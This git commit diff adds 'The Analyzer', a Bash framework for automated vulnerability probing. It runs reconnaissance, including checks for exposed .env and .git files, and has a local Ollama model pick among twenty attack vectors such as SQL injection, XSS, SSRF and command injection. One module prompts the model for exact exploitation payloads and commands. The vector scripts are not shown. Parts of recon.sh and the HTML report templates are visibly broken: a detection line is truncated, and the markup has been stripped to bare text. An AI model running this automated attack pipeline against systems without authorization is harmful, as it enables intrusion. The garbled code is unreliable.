commit eb1fad4eccbd3556d822f2deed7284d0cbda7a66 Author: drjones Date: Fri Jun 19 06:11:40 2026 -0700 The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7782229 --- /dev/null +++ b/.gitignore @@ -0,0 +1,15 @@ +# Reports +reports/*.md +reports/*.html +reports/.* + +# Temp files +*.tmp +/tmp/ + +# OS files +.DS_Store +Thumbs.db + +# Git +.git/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..f101c6c --- /dev/null +++ b/README.md @@ -0,0 +1,108 @@ +# ⚔️ The Analyzer v1.0 — Autonomous Bug Bounty Engine + +**Authorized Bug Bounty Use Only** — Drjonesxxx / Indianaholmes + +## One Command + +```bash +./analyzer https://target.com +``` + +Or for deep scan: +```bash +./analyzer https://target.com deep +``` + +## Modes + +| Mode | Command | What it does | +|------|---------|-------------| +| **Quick** (default) | `./analyzer https://x.com` | Recon → Ollama picks top vectors → reports | +| **Deep** | `./analyzer https://x.com deep` | Recon → ALL 20 vectors → full report | +| **Custom** | `./analyzer https://x.com custom` | Pick your own vector numbers | +| **Interactive** | `./analyzer` | Menu-driven mode | + +## How it Works + +``` + ┌─────────────┐ + Target URL ────────▶│ RECON │───▶ HTTP headers, tech detection, + │ ENGINE │ endpoints, forms, cookies + └──────┬──────┘ + │ + ▼ + ┌─────────────┐ + │ OLLAMA │───▶ Analyzes recon data + │ BRAIN │ Picks best 5-10 vectors + └──────┬──────┘ + │ + ┌──────────────┼──────────────┐ + ▼ ▼ ▼ + ┌──────────┐ ┌──────────┐ ┌──────────┐ + │ SQLi │ │ XSS │ │ LFI │ ... 20 vectors + │ Module │ │ Module │ │ Module │ + └──────────┘ └──────────┘ └──────────┘ + │ │ │ + ▼ ▼ ▼ + ┌─────────────┐ + │ REPORT │───▶ Markdown report + │ ENGINE │ HTML report (beautiful) + └─────────────┘ CLI summary +``` + +## 20 Attack Vectors + +| # | Vector | Severity | Detects | +|----|--------|----------|---------| +| 01 | SQL Injection | CRITICAL | SQLi (error, blind, time) via sqlmap + manual | +| 02 | XSS | HIGH | Reflected, DOM-based | +| 03 | LFI/RFI | CRITICAL | File inclusion, PHP filter | +| 04 | Command Injection | CRITICAL | OS command execution | +| 05 | SSRF | HIGH | Internal resource access | +| 06 | Open Redirect | MEDIUM | Unvalidated redirects | +| 07 | Directory Traversal | HIGH | Path traversal | +| 08 | SSTI | CRITICAL | Template injection | +| 09 | XXE | CRITICAL | XML external entities | +| 10 | IDOR | HIGH | Access control bypass | +| 11 | CSRF | MEDIUM | Missing tokens | +| 12 | JWT Attacks | HIGH | 'none' alg, weak keys | +| 13 | GraphQL | HIGH | Introspection, injection | +| 14 | API Abuse | HIGH | Rate limiting, auth bypass | +| 15 | File Upload | HIGH | Unrestricted upload | +| 16 | Backup Files | HIGH | .env, configs, credentials | +| 17 | .git Exposure | CRITICAL | Source code leak | +| 18 | CORS | MEDIUM | Wildcard/reflective | +| 19 | Race Condition | MEDIUM | TOCTOU, concurrency | +| 20 | NoSQL Injection | HIGH | MongoDB $ne, $gt, $regex | + +## Ollama Decision Engine + +Uses **granite4.1:8b** (change with `OLLAMA_MODEL` env var) to analyze recon data and pick the best vectors. The model sees: +- What tech stack the target runs +- What endpoints exist +- What forms/inputs are present +- What attack surfaces are visible + +Then it picks 5-10 vectors that have the highest probability of success. + +## Reports + +Output in `reports/`: +- `target.com_2026-06-18.md` — Full markdown report +- `target.com_2026-06-18.html` — Styled HTML report with severity badges + +## Requirements + +- `curl`, `jq`, `sqlmap` (recommended) +- Ollama running (default `http://10.30.20.110:11434`) +- Change with: `OLLAMA_HOST=http://localhost:11434 ./analyzer https://x.com` + +## Deploy to Kali + +```bash +scp -r ~/the-analyzer root@10.30.20.177:/opt/ +``` + +## Legal + +This tool is for **authorized bug bounty testing only**. Only use against targets you have explicit permission to test. diff --git a/analyzer b/analyzer new file mode 100755 index 0000000..7426631 --- /dev/null +++ b/analyzer @@ -0,0 +1,368 @@ +#!/usr/bin/env bash +# ============================================================================= +# THE ANALYZER v1.0 — Autonomous Bug Bounty Analysis Engine +# Authorized Bug Bounty Use Only +# ============================================================================= + +set -euo pipefail + +# === Setup === +# Set up path, resolving symlinks +__ANALYZER_SRC="${BASH_SOURCE[0]}" +if command -v readlink &>/dev/null; then + while [ -h "$__ANALYZER_SRC" ]; do + __ANALYZER_SRC="$(readlink "$__ANALYZER_SRC")" + [[ "$__ANALYZER_SRC" != /* ]] && __ANALYZER_SRC="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/$__ANALYZER_SRC" + done +fi +SCRIPT_DIR="$(cd "$(dirname "$__ANALYZER_SRC")" && pwd 2>/dev/null)" || SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +unset __ANALYZER_SRC +export ANALYZER_DIR="$SCRIPT_DIR" +export VECTORS_DIR="$ANALYZER_DIR/vectors" +export ENGINE_DIR="$ANALYZER_DIR/engine" +export LIB_DIR="$ANALYZER_DIR/lib" +export REPORTS_DIR="$ANALYZER_DIR/reports" + +# Source core +source "$LIB_DIR/colors.sh" +source "$LIB_DIR/utils.sh" +source "$ENGINE_DIR/recon.sh" +source "$ENGINE_DIR/ollama-brain.sh" +source "$ENGINE_DIR/reporter.sh" + +mkdir -p "$REPORTS_DIR" + +# === Banner === +show_banner() { + clear + echo -e "${BRIGHT_RED}" + echo ' ████████╗██╗ ██╗███████╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗███████╗ ' + echo ' ╚══██╔══╝██║ ██║██╔════╝ ██╔══██╗████╗ ██║██╔══██╗██║ ██║╚══███╔╝ ' + echo ' ██║ ███████║█████╗ ███████║██╔██╗ ██║███████║███████║ ███╔╝ ' + echo ' ██║ ██╔══██║██╔══╝ ██╔══██║██║╚██╗██║██╔══██║██╔══██║ ███╔╝ ' + echo ' ██║ ██║ ██║███████╗ ██║ ██║██║ ╚████║██║ ██║██║ ██║███████╗ ' + echo ' ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ' + echo '' + echo -e " ${BRIGHT_YELLOW}Autonomous Bug Bounty Analyzer v1.0${NC}" + echo -e " ${DIM}Authorized Testing Only${NC}" + echo '' +} + +# === Interactive mode === +interactive_mode() { + show_banner + + echo -e " ${BOLD}${BRIGHT_CYAN}Welcome to The Analyzer${NC}" + separator + echo '' + echo -e " ${GREEN}1${NC}. Quick Scan — Fast recon + auto-vector selection" + echo -e " ${GREEN}2${NC}. Deep Scan — Full recon, all vectors, exhaustive" + echo -e " ${GREEN}3${NC}. Custom Scan — Pick your own vectors" + echo -e " ${GREEN}4${NC}. List Vectors — Show all 20 attack vectors" + echo -e " ${GREEN}5${NC}. View Reports — Browse past results" + echo -e " ${DIM}q${NC}. Quit" + echo '' + + read -p " ${ICON_ARROW} Choose mode [1]: " mode + mode="${mode:-1}" + + echo '' + read -p " ${ICON_ARROW} Target URL (e.g., https://example.com): " target + + # Validate + if [ -z "$target" ]; then + print_error "Target URL required!" + exit 1 + fi + + # Add protocol if missing + [[ "$target" != http* ]] && target="https://${target}" + + echo '' + print_info "Target set: ${BOLD}$target${NC}" + echo '' + + case "$mode" in + 1) quick_scan "$target" ;; + 2) deep_scan "$target" ;; + 3) custom_scan "$target" ;; + 4) list_vectors && exit 0 ;; + 5) view_reports && exit 0 ;; + *) quick_scan "$target" ;; + esac +} + +# === Quick Scan === +quick_scan() { + local target="$1" + local report=$(init_report "$target") + local total_findings=0 + local total_vulns=0 + + echo -e "\n${BRIGHT_CYAN}${BOLD}═══ QUICK SCAN MODE ═══${NC}\n" + + # Step 1: Check connectivity + print_step 1 4 "Checking target..." + if ! target_alive "$target"; then + print_error "Target unreachable!" + exit 1 + fi + print_ok "Target is alive" + + # Step 2: Recon + print_step 2 4 "Reconnaissance" + recon_target "$target" "$report" + + # Step 3: Ollama decides + print_step 3 4 "Ollama brain selecting vectors" + local decision=$(ollama_decide "$target") + echo '' + echo -e "${MAGENTA}${ICON_BRAIN} Ollama's Strategy:${NC}" + echo "$decision" | head -20 + + local selected=$(parse_decision "$decision") + + if [ -z "$selected" ]; then + print_warn "Ollama didn't pick specific vectors. Running top 5." + selected="1 2 3 4 5" + fi + + echo '' + print_info "Running vectors: $(echo $selected | tr '\n' ' ')" + echo '' + + # Step 4: Run vectors + print_step 4 4 "Executing attack vectors" + run_vectors "$target" "$report" $selected + + # Generate final report + total_findings=$(ls "$REPORTS_DIR"/.finding_*.txt 2>/dev/null | wc -l | tr -d ' ') + total_vulns=$total_findings + generate_report "$target" "$report" "$total_vulns" + html_report "$report" > /dev/null + + cleanup_findings +} + +# === Deep Scan === +deep_scan() { + local target="$1" + local report=$(init_report "$target") + + echo -e "\n${BRIGHT_RED}${BOLD}═══ DEEP SCAN MODE — ALL VECTORS ═══${NC}\n" + + # Step 1: Connectivity + print_step 1 3 "Checking target..." + if ! target_alive "$target"; then + print_error "Target unreachable!" + exit 1 + fi + print_ok "Target is alive" + + # Step 2: Full recon + print_step 2 3 "Deep reconnaissance" + recon_target "$target" "$report" + + # Step 3: Run ALL vectors + print_step 3 3 "Running all 20 attack vectors" + local all_vectors=$(seq 1 20 | tr '\n' ' ') + run_vectors "$target" "$report" $all_vectors + + # Generate report + local total_findings=$(ls "$REPORTS_DIR"/.finding_*.txt 2>/dev/null | wc -l | tr -d ' ') + generate_report "$target" "$report" "$total_findings" + html_report "$report" > /dev/null + + cleanup_findings +} + +# === Custom Scan === +custom_scan() { + local target="$1" + local report=$(init_report "$target") + + echo -e "\n${BRIGHT_BLUE}${BOLD}═══ CUSTOM SCAN MODE ═══${NC}\n" + + echo -e "Available vectors:" + list_vectors + echo '' + read -p " ${ICON_ARROW} Vector numbers (space-separated, e.g., 1 3 5 12): " vector_input + + local selected=${vector_input:-"1 2 3 4 5"} + + print_step 1 3 "Checking target..." + if ! target_alive "$target"; then + print_error "Target unreachable!" + exit 1 + fi + print_ok "Target is alive" + + print_step 2 3 "Quick recon" + recon_target "$target" "$report" + + print_step 3 3 "Running selected vectors" + run_vectors "$target" "$report" $selected + + local total_findings=$(ls "$REPORTS_DIR"/.finding_*.txt 2>/dev/null | wc -l | tr -d ' ') + generate_report "$target" "$report" "$total_findings" + html_report "$report" > /dev/null + + cleanup_findings +} + +# === Run Vectors === +run_vectors() { + local target="$1" + local report="$2" + shift 2 + local vectors=("$@") + + local total=${#vectors[@]} + local current=0 + local total_findings=0 + + for num in "${vectors[@]}"; do + num=$(echo "$num" | xargs) # trim + [ -z "$num" ] && continue + + current=$((current + 1)) + + # Find the vector file + local vf="$VECTORS_DIR/$(printf "%02d" $num)-"*.sh + if [ ! -f "$vf" ]; then + # Try without the glob + vf="" + for f in "$VECTORS_DIR"/$(printf "%02d" $num)-*.sh; do + [ -f "$f" ] && vf="$f" && break + done + fi + + if [ ! -f "$vf" ] || [ -z "$vf" ]; then + print_skip "Vector $num — file not found" + continue + fi + + local vec_name=$(basename "$vf" .sh | sed 's/^[0-9]*-//') + + echo '' + separator + echo -e " ${CYAN}[${current}/${total}]${NC} ${BOLD}${vec_name}${NC}" + separator + + # Source and run + source "$vf" + + # The vector function name follows pattern: vector_ + local func_name="vector_$(echo "$vec_name" | tr '-' '_' | sed 's/injection/inj/;s/traversal/trav/;s/redirect/oredir/;s/condition/race/;s/exposure/gitex/;s/misconfiguration/cors/;s/abuse/apiab/;s/upload/fileup/;s/fil/backup/')" + + # Map vector names to function names + case $num in + 1) func_name="vector_sqli" ;; + 2) func_name="vector_xss" ;; + 3) func_name="vector_lfi" ;; + 4) func_name="vector_cmdi" ;; + 5) func_name="vector_ssrf" ;; + 6) func_name="vector_oredir" ;; + 7) func_name="vector_dtrav" ;; + 8) func_name="vector_ssti" ;; + 9) func_name="vector_xxe" ;; + 10) func_name="vector_idor" ;; + 11) func_name="vector_csrf" ;; + 12) func_name="vector_jwt" ;; + 13) func_name="vector_graphql" ;; + 14) func_name="vector_apiab" ;; + 15) func_name="vector_fileup" ;; + 16) func_name="vector_backup" ;; + 17) func_name="vector_gitex" ;; + 18) func_name="vector_cors" ;; + 19) func_name="vector_race" ;; + 20) func_name="vector_nosqli" ;; + esac + + if declare -f "$func_name" >/dev/null; then + $func_name "$target" "$report" + local vfindings=$? + total_findings=$((total_findings + vfindings)) + else + print_error "Function $func_name not found in $vf" + fi + done + + return $total_findings +} + +# === View Reports === +view_reports() { + echo -e "\n${BOLD}Past Reports:${NC}\n" + shopt -s nullglob + local reports=("$REPORTS_DIR"/*.md) + shopt -u nullglob + + if [ ${#reports[@]} -eq 0 ]; then + print_info "No reports yet" + return + fi + + local i=0 + for r in "${reports[@]}"; do + [ ! -f "$r" ] && continue + i=$((i + 1)) + local name=$(basename "$r") + local target=$(grep "^**Target:**" "$r" | sed 's/.*\*\*Target:\*\* //') + local date=$(grep "^**Date:**" "$r" | sed 's/.*\*\*Date:\*\* //') + local vulns=$(grep -c "^### [0-9]" "$r" 2>/dev/null || echo 0) + echo -e " ${CYAN}[$i]${NC} ${BOLD}$name${NC}" + echo -e " Target: ${target:-N/A} | Date: ${date:-N/A} | Vulns: ${BRIGHT_RED}$vulns${NC}" + done + + echo '' + read -p " ${ICON_ARROW} Open report number (or Enter to skip): " rnum + + if [ -n "$rnum" ] && [ "$rnum" -ge 1 ] 2>/dev/null; then + local idx=$((rnum - 1)) + shopt -s nullglob + local reports_arr=("$REPORTS_DIR"/*.md) + shopt -u nullglob + if [ "$idx" -lt "${#reports_arr[@]}" ]; then + cat "${reports_arr[$idx]}" + local html="${reports_arr[$idx]%.md}.html" + echo '' + print_info "HTML: $html" + fi + fi +} + +# === Cleanup === +cleanup_findings() { + rm -f "$REPORTS_DIR"/.finding_*.txt "$REPORTS_DIR"/.recon_*.txt "$REPORTS_DIR"/.sqlmap_*.txt 2>/dev/null +} + +# === CLI Mode (non-interactive) === +cli_mode() { + show_banner + case "${2:-quick}" in + quick|q) quick_scan "$1" ;; + deep|d|all) deep_scan "$1" ;; + custom|c) + shift + custom_scan "$1" + ;; + list|l) list_vectors ;; + *) quick_scan "$1" ;; + esac +} + +# === Entry Point === +check_deps + +if ! check_ollama; then + print_warn "Ollama unavailable. Running without AI brain (default vectors)." + export NO_OLLAMA=true +fi + +if [ $# -ge 1 ]; then + # CLI mode: ./analyzer [quick|deep|custom] + cli_mode "$@" +else + interactive_mode +fi diff --git a/engine/ollama-brain.sh b/engine/ollama-brain.sh new file mode 100755 index 0000000..1a1ff8c --- /dev/null +++ b/engine/ollama-brain.sh @@ -0,0 +1,135 @@ +#!/usr/bin/env bash +# The Analyzer - Ollama Brain +# Decision engine that picks attack vectors based on recon data + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../lib/utils.sh" + +ollama_decide() { + local target="$1" + local domain=$(get_domain "$target") + local recon_file="$REPORTS_DIR/.${domain}_recon.txt" + + print_brain "Consulting Ollama ($OLLAMA_MODEL) on attack strategy..." + + if [ ! -f "$recon_file" ]; then + print_warn "No recon data found. Running blind." + RECON_SUMMARY="No reconnaissance data available." + else + RECON_SUMMARY=$(cat "$recon_file") + fi + + # Available vectors metadata + local vector_list="" + for f in "$VECTORS_DIR"/*.sh; do + local name=$(basename "$f" .sh) + local num=$(echo "$name" | cut -d- -f1) + local desc=$(head -10 "$f" | grep "^# Desc:" | sed 's/^# Desc: //') + local detect=$(head -10 "$f" | grep "^# Detect:" | sed 's/^# Detect: //') + local severity=$(head -10 "$f" | grep "^# Severity:" | sed 's/^# Severity: //') + vector_list+="$num: ${name#?-} | $desc | Triggers: $detect | Severity: $severity\n" + done + + # Write prompts to temp files to avoid heredoc parsing issues + local sys_file=$(mktemp) + local usr_file=$(mktemp) + + cat > "$sys_file" << EOF +You are The Analyzer, an autonomous security testing engine for authorized bug bounty hunting. +You analyze reconnaissance data and select the most effective attack vectors. + +RULES: +1. Only recommend vectors with CLEAR EVIDENCE they will work based on recon data +2. Prioritize HIGH and CRITICAL severity vectors +3. Recommend 5-10 vectors max +4. Order by likelihood of success, not just severity +5. Include a brief reason for each recommendation +6. NEVER recommend attacking systems without authorization +7. Focus on: SQLi, XSS, LFI, RCE, SSRF, IDOR, API abuse, auth bypass + +Return your response as a numbered list in this EXACT format: +## DECISION +1. : +2. : + +## SUMMARY + +EOF + + cat > "$usr_file" << EOF +TARGET: $target +DOMAIN: $domain + +RECONNAISSANCE DATA: +$RECON_SUMMARY + +AVAILABLE ATTACK VECTORS: +$vector_list + +Analyze the recon data and select the best attack vectors to run. Return ONLY the numbered list of vectors to execute and a brief summary. +EOF + + print_brain "Analyzing recon data and selecting vectors..." + + local decision=$(ollama_prompt "$(cat "$usr_file")" "$(cat "$sys_file")") + + rm -f "$sys_file" "$usr_file" + + echo "$decision" +} + +# Extract vector numbers from Ollama's decision +parse_decision() { + local decision="$1" + echo "$decision" | perl -nle 'print $1 if /^\d+\.\s*(\d+)/' | head -$MAX_VECTORS +} + +# Rate a finding with Ollama +rate_finding() { + local finding="$1" + local target="$2" + + local sys_file=$(mktemp) + local usr_file=$(mktemp) + + cat > "$sys_file" << 'SYS' +You are a vulnerability severity assessor. Rate findings as CRITICAL, HIGH, MEDIUM, LOW, or INFO based on OWASP standards. Return only the severity level and a one-line justification. +SYS + + cat > "$usr_file" << EOF +Target: $target +Finding: $finding + +Rate this finding's severity: +EOF + + local result=$(ollama_prompt "$(cat "$usr_file")" "$(cat "$sys_file")") + rm -f "$sys_file" "$usr_file" + echo "$result" +} + +# Get exploitation guidance +get_exploit_advice() { + local target="$1" + local vector="$2" + local evidence="$3" + + local sys_file=$(mktemp) + local usr_file=$(mktemp) + + cat > "$sys_file" << 'SYS' +You are an expert penetration tester. Provide specific, actionable exploitation commands for authorized bug bounty testing. Include exact payloads, curl commands, or tool invocations. +SYS + + cat > "$usr_file" << EOF +Target: $target +Vector: $vector +Evidence found: $evidence + +Give me the exact commands/payloads to exploit this. +EOF + + local result=$(ollama_prompt "$(cat "$usr_file")" "$(cat "$sys_file")") + rm -f "$sys_file" "$usr_file" + echo "$result" +} diff --git a/engine/recon.sh b/engine/recon.sh new file mode 100755 index 0000000..a287b86 --- /dev/null +++ b/engine/recon.sh @@ -0,0 +1,121 @@ +#!/usr/bin/env bash +# The Analyzer - Reconnaissance Engine +# Gathers target info for Ollama to make decisions + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../lib/utils.sh" + +recon_target() { + local target="$1" + local domain=$(get_domain "$target") + local report="$2" + + echo "" + print_info "Gathering intelligence on $target..." + separator + + RECON_DATA="Target: $target\nDomain: $domain\n" + + # 1. HTTP Status + Headers + print_sub "Checking HTTP response..." + local status=$(http_check "$target") + local headers=$(get_headers "$target") + local server=$(echo "$headers" | grep -i '^server:' | sed 's/[Ss]erver: //' | tr -d '\r') + local ctype=$(echo "$headers" | grep -i '^content-type:' | sed 's/[Cc]ontent-[Tt]ype: //' | tr -d '\r') + local powered=$(echo "$headers" | grep -i '^x-powered-by:' | sed 's/[Xx]-[Pp]owered-[Bb]y: //' | tr -d '\r') + local cf_ray=$(echo "$headers" | grep -i '^cf-ray' | head -1) + local akamai=$(echo "$headers" | grep -i 'x-akamai' | head -1) + + RECON_DATA+="Status: $status\n" + [ -n "$server" ] && RECON_DATA+="Server: $server\n" && print_info "Server: $server" + [ -n "$powered" ] && RECON_DATA+="X-Powered-By: $powered\n" && print_info "Powered by: $powered" + [ -n "$cf_ray" ] && RECON_DATA+="Cloudflare: true\n" && print_warn "Cloudflare detected" + [ -n "$akamai" ] && RECON_DATA+="Akamai: true\n" && print_warn "Akamai detected" + + # 2. Title + local title=$(get_title "$target") + [ -n "$title" ] && RECON_DATA+="Page Title: $title\n" && print_info "Title: $title" + + # 3. Technologies (basic) + print_sub "Detecting technologies..." + local techs="" + echo "$headers" | grep -qi 'php' && techs+="PHP, " && RECON_DATA+="Tech: PHP\n" + echo "$headers" | grep -qi 'asp\.net\|x-aspnet' && techs+="ASP.NET, " && RECON_DATA+="Tech: ASP.NET\n" + echo "$headers" | grep -qi 'nginx' && techs+="Nginx, " && RECON_DATA+="Tech: Nginx\n" + echo "$headers" | grep -qi 'apache' && techs+="Apache, " && RECON_DATA+="Tech: Apache\n" + echo "$headers" | grep -qi 'express' && techs+="Express, " && RECON_DATA+="Tech: Express/Node\n" + echo "$headers" | grep -qi 'django\|python' && techs+="Python/Django, " && RECON_DATA+="Tech: Python/Django\n" + echo "$headers" | grep -qi 'rails\|ruby' && techs+="Ruby/Rails, " && RECON_DATA+="Tech: Ruby/Rails\n" + echo "$headers" | grep -qi 'java\|tomcat\|jboss' && techs+="Java, " && RECON_DATA+="Tech: Java\n" + echo "$headers" | grep -qi 'wordpress' && techs+="WordPress, " && RECON_DATA+="Tech: WordPress\n" + echo "$headers" | grep -qi 'cloudflare' && techs+="Cloudflare, " + echo "$headers" | grep -qi 'set-cookie.*session' && RECON_DATA+="Has Session Cookies: true\n" + + [ -n "$techs" ] && print_info "Tech: ${techs%, }" + + # 4. Check for common paths + print_sub "Checking common endpoints..." + local common_paths=("robots.txt" "sitemap.xml" ".git/HEAD" ".env" "admin" "api" "wp-admin" "login" "graphql") + local found_paths="" + + for path in "${common_paths[@]}"; do + local code=$(http_check "$target/$path" 2>/dev/null) + if [[ "$code" =~ ^[23] ]]; then + found_paths+="$path($code), " + RECON_DATA+="Endpoint Found: /$path (HTTP $code)\n" + print_find "Found: /$path (HTTP $code)" + fi + done + + # 5. Page content samples (first 5KB) + print_sub "Sampling page content..." + local page_content=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | head -c 5000) + + # Detect forms + if echo "$page_content" | grep -qi ' "$REPORTS_DIR/.${domain}_recon.txt" + + print_ok "Recon complete for $domain" + return 0 +} diff --git a/engine/reporter.sh b/engine/reporter.sh new file mode 100755 index 0000000..384a888 --- /dev/null +++ b/engine/reporter.sh @@ -0,0 +1,242 @@ +#!/usr/bin/env bash +# The Analyzer - Report Generator + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +source "$SCRIPT_DIR/../lib/utils.sh" + +generate_report() { + local target="$1" + local report="$2" + local findings="$3" + + echo "" + print_info "Generating final report..." + separator + + if [ -z "$findings" ] || [ "$findings" -eq 0 ]; then + append_report "$report" "\n## Results\n\nNo vulnerabilities found during testing.\n" + print_ok "No vulnerabilities found" + finalize_report "$report" 0 0 + print_report_summary "$report" + return + fi + + print_find "$findings vulnerabilities discovered!" + + # Append the findings to report + append_report "$report" "\n## Vulnerabilities Found\n\n" + + local count=1 + for f in "$REPORTS_DIR"/.finding_*.txt; do + [ ! -f "$f" ] && continue + local finding=$(cat "$f") + local severity=$(echo "$finding" | grep "^SEVERITY:" | cut -d: -f2- | xargs) + local vector=$(echo "$finding" | grep "^VECTOR:" | cut -d: -f2- | xargs) + local detail=$(echo "$finding" | grep "^DETAIL:" | cut -d: -f2- | xargs) + local evidence=$(echo "$finding" | grep "^EVIDENCE:" | cut -d: -f2- | xargs) + local exploit=$(echo "$finding" | grep "^EXPLOIT:" | cut -d: -f2- | xargs) + + local severity_emoji="🟢" + case "$severity" in + CRITICAL) severity_emoji="🔴" ;; + HIGH) severity_emoji="🟠" ;; + MEDIUM) severity_emoji="🟡" ;; + LOW) severity_emoji="🔵" ;; + *) severity_emoji="⚪" ;; + esac + + append_report "$report" "### $count. $vector\n" + append_report "$report" "- **Severity:** $severity_emoji $severity\n" + append_report "$report" "- **Detail:** $detail\n" + [ -n "$evidence" ] && append_report "$report" "- **Evidence:** $evidence\n" + [ -n "$exploit" ] && append_report "$report" "- **Exploitation:** $exploit\n" + append_report "$report" "\n" + + count=$((count + 1)) + done + + finalize_report "$report" $((count - 1)) $findings + print_report_summary "$report" +} + +print_report_summary() { + local report="$1" + echo "" + separator + echo -e " ${BRIGHT_GREEN}${ICON_DONE}${NC} ${BOLD}Analysis Complete!${NC}" + echo -e " ${CYAN}${ICON_REPORT}${NC} Report: ${BOLD}$report${NC}" + + # Get count + local vulns=$(grep -c "### [0-9]" "$report" 2>/dev/null) + if [ "$vulns" -gt 0 ]; then + echo "" + echo -e " ${BRIGHT_RED}${BOLD}⚠ $vulns vulnerabilities found!${NC}" + echo "" + # List them + grep "^### " "$report" | while read line; do + sev=$(grep -A1 "$line" "$report" | grep "Severity:" | sed 's/.*\*\*Severity:\*\* //') + echo -e " ${BRIGHT_RED}!${NC} $line ($sev)" + done + fi + + echo "" + print_info "HTML version also saved: ${report%.md}.html" +} + +# Generate HTML report from markdown +html_report() { + local md_report="$1" + local html_report="${md_report%.md}.html" + local domain=$(grep "^**Domain:**" "$md_report" | sed 's/.*\*\*Domain:\*\* //') + local date=$(grep "^**Date:**" "$md_report" | sed 's/.*\*\*Date:\*\* //') + + # Count by severity + local crit=$(grep -c "🔴" "$md_report" 2>/dev/null || echo 0) + local high=$(grep -c "🟠" "$md_report" 2>/dev/null || echo 0) + local med=$(grep -c "🟡" "$md_report" 2>/dev/null || echo 0) + local low=$(grep -c "🔵" "$md_report" 2>/dev/null || echo 0) + + # Extract findings + local findings_html="" + local in_finding=false + local finding_num="" + local finding_title="" + local finding_sev="" + local finding_detail="" + local finding_evidence="" + local finding_exploit="" + + while IFS= read -r line; do + if [[ "$line" =~ ^###\ ([0-9]+)\.\ (.*) ]]; then + # Save previous finding + if [ -n "$finding_title" ]; then + local border_color="border-left: 4px solid #22c55e;" + local badge_bg="#22c55e" + case "$finding_sev" in + *CRITICAL*) border_color="border-left: 4px solid #ef4444;"; badge_bg="#ef4444" ;; + *HIGH*) border_color="border-left: 4px solid #f97316;"; badge_bg="#f97316" ;; + *MEDIUM*) border_color="border-left: 4px solid #eab308;"; badge_bg="#eab308" ;; + *LOW*) border_color="border-left: 4px solid #3b82f6;"; badge_bg="#3b82f6" ;; + esac + findings_html+="
" + findings_html+="
" + findings_html+="

${finding_num}. ${finding_title}

" + findings_html+="${finding_sev//\*/}" + findings_html+="
" + [ -n "$finding_detail" ] && findings_html+="

${finding_detail}

" + [ -n "$finding_evidence" ] && findings_html+="
${finding_evidence}
" + [ -n "$finding_exploit" ] && findings_html+="
Exploit: ${finding_exploit}
" + findings_html+="
" + fi + + finding_num="${BASH_REMATCH[1]}" + finding_title="${BASH_REMATCH[2]}" + finding_sev="" + finding_detail="" + finding_evidence="" + finding_exploit="" + in_finding=true + elif [[ "$line" =~ \*\*Severity:\*\*\ (.*) ]]; then + finding_sev="${BASH_REMATCH[1]}" + elif [[ "$line" =~ \*\*Detail:\*\*\ (.*) ]]; then + finding_detail="${BASH_REMATCH[1]}" + elif [[ "$line" =~ \*\*Evidence:\*\*\ (.*) ]]; then + finding_evidence="${BASH_REMATCH[1]}" + elif [[ "$line" =~ \*\*Exploitation:\*\*\ (.*) ]]; then + finding_exploit="${BASH_REMATCH[1]}" + fi + done < "$md_report" + + # Last finding + if [ -n "$finding_title" ]; then + local border_color="border-left: 4px solid #22c55e;" + local badge_bg="#22c55e" + case "$finding_sev" in + *CRITICAL*) border_color="border-left: 4px solid #ef4444;"; badge_bg="#ef4444" ;; + *HIGH*) border_color="border-left: 4px solid #f97316;"; badge_bg="#f97316" ;; + *MEDIUM*) border_color="border-left: 4px solid #eab308;"; badge_bg="#eab308" ;; + *LOW*) border_color="border-left: 4px solid #3b82f6;"; badge_bg="#3b82f6" ;; + esac + findings_html+="
" + findings_html+="
" + findings_html+="

${finding_num}. ${finding_title}

" + findings_html+="${finding_sev//\*/}" + findings_html+="
" + [ -n "$finding_detail" ] && findings_html+="

${finding_detail}

" + [ -n "$finding_evidence" ] && findings_html+="
${finding_evidence}
" + [ -n "$finding_exploit" ] && findings_html+="
Exploit: ${finding_exploit}
" + findings_html+="
" + fi + + local total_findings=$((crit + high + med + low)) + + cat > "$html_report" << HTML + + + + + +Analyzer Report - ${domain} + + + +
+
+

🔍 Analyzer Security Report

+
${domain}
+

${date}

+
+ +
+
+
${crit}
+
Critical
+
+
+
${high}
+
High
+
+
+
${med}
+
Medium
+
+
+
${low}
+
Low
+
+
+ +
Findings
+ ${findings_html} + + +
+ + +HTML + + echo "$html_report" +} diff --git a/lib/colors.sh b/lib/colors.sh new file mode 100755 index 0000000..9138c8e --- /dev/null +++ b/lib/colors.sh @@ -0,0 +1,123 @@ +#!/usr/bin/env bash +# The Analyzer - Terminal Colors & UI + +# Reset +export NC='\033[0m' + +# Foreground +export BLACK='\033[0;30m' +export RED='\033[0;31m' +export GREEN='\033[0;32m' +export YELLOW='\033[0;33m' +export BLUE='\033[0;34m' +export MAGENTA='\033[0;35m' +export CYAN='\033[0;36m' +export WHITE='\033[0;37m' +export BOLD='\033[1m' +export DIM='\033[2m' + +# Bright +export BRIGHT_RED='\033[0;91m' +export BRIGHT_GREEN='\033[0;92m' +export BRIGHT_YELLOW='\033[0;93m' +export BRIGHT_BLUE='\033[0;94m' +export BRIGHT_MAGENTA='\033[0;95m' +export BRIGHT_CYAN='\033[0;96m' + +# Icons +export ICON_TARGET="🎯" +export ICON_SCAN="🔍" +export ICON_FIRE="🔥" +export ICON_FOUND="💥" +export ICON_SAFE="✅" +export ICON_WARN="⚠️" +export ICON_SKIP="⏭️" +export ICON_DONE="✨" +export ICON_BRAIN="🧠" +export ICON_REPORT="📄" +export ICON_ERROR="❌" +export ICON_INFO="ℹ️" +export ICON_ARROW="➜" +export ICON_SQL="🗄️" +export ICON_XSS="💉" +export ICON_API="🔌" +export ICON_GEAR="⚙️" + +# Print helpers +print_banner() { + 